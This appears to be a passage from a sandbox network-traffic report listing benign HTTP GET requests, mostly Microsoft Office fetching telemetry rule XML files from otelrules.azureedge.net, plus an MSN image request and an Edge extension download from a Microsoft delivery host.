Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731930022&P2=404&P3=2&P4=Wzo5kI1LBBmCTNT5I9ajRHlN%2fQ92HAasUGHNCyXCSnjBeLMVHswnE2hIjmBaV79cajzQGBhicRIHRJFk1iLfHg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: N7et3+2Y8+u6eG01O1ZkmcSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
